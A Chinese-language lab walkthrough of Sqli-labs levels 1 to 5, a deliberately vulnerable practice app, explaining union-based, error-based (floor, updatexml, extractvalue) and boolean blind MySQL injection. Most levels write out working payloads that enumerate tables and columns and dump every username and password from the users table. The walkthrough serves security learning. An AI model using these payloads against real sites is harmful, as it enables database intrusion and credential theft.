Sqli-labs 1-5关步骤级截图说明
第一关:
GET-Error based-Single quotes-String(基于错误的GET单引号字符型注入)
尝试?id=1:
?id=1'--+ 其中--+为注释后面内容 该注入为单引号注入
接下来判断列数,为3列
然后通过union查询判断数据回显位置
查询库名,数据库版本 库名为security
查询表名
MySQL5.0以上有information_schema这个库,该库存放了所有数据库的信息。
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果
然后查询表中的字段
最后爆出所有的用户名和密码
第二关:
GET-Error based-Intiger based(基于错误的GET整型注入)
通过注入发现没有单引号
接下来基本和第一关一致
判断字段数以及通过union查询数据的回显位置
依旧是三个字段,回显位置是2,3
接下来通过union查询爆出库名为security
接下来爆出表名:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
继续愉快的爆出列字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
最后爆出所有的用户名密码
?id=-1 union select 1,group_concat(username),group_concat(password) from users--+
_
第三关:
GET-Error based -Single quotes with twist-string(基于错误的GET单引号变形字符型注入)
先尝试一下?id=1'
可以看到,这个注入应当是单引号加括号的闭合注入
添加括号后再进行注入
接下来,猜解字段
? id=-1') order by 3--+
爆出数据库名
但是,将id值改为0却显示错误,需要改为-1才行
? id=-1') union select 1,2,database() --+
接下来爆出表名
其实后面的查询库表列语句都是相似的,主要是注入方式有所不同
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆出表中的字段名
最后爆出所有用户名和密码
2、3都是回显位置,所以都可以显示数据
?id=-1') union select 1,group_concat(username),group_concat(password) from users--+
第四关:
基于错误的GET双引号字符型注入
爆出字段数
? id=-1 ") order by 3--+
爆出数据库名
爆出表名
爆出users表中的字段名
?id=-1 ") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆出所有用户名和密码
?id=-1") union select 1,group_concat(username),group_concat(password) from users--+
第五关:
双注入GET单引号字符型注入
本题传入id后,如果存在id,则会返回You are in…否则就没有任何显示
所以不能采用union注入,可以用报错注入、时间注入、布尔注入
这里采用报错注入:
三种报错注入常用的语句:
(1). 通过floor报错
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
and updatexml(1,payload,1)
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。
payload即我们要输入的sql查询语句
floor() 函数向下舍入为最接近的整数
Left() 函数执行成功时返回string字符串左边n个字符,发生错误时返回空字符串("")
这里我们采用floor()报错注入
http://192.168.8.135/sqli-labs/Less-5/?id=1'
接下来查看版本信息
?id=1' and left(version(),1)=5--+
判断数据库长度:为8
?id=1' and length(database())= 8--+
猜测数据库名称,从第一位开始一个一个猜:
第一个字母大于r时正确,大于s时就错误了,所以第一个字母为s
依次猜得库名为security
接下来是表名
同样的方法查询users表中的字段名
总结:
Floor()报错注入主要是floor,count,group by冲突报错
floor()是取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上,且3条以上必报错,返回的值是有规律的
count(*)是用来统计结果的,相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值,没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次,若虚表不存在记录,插入虚表时会再执行一次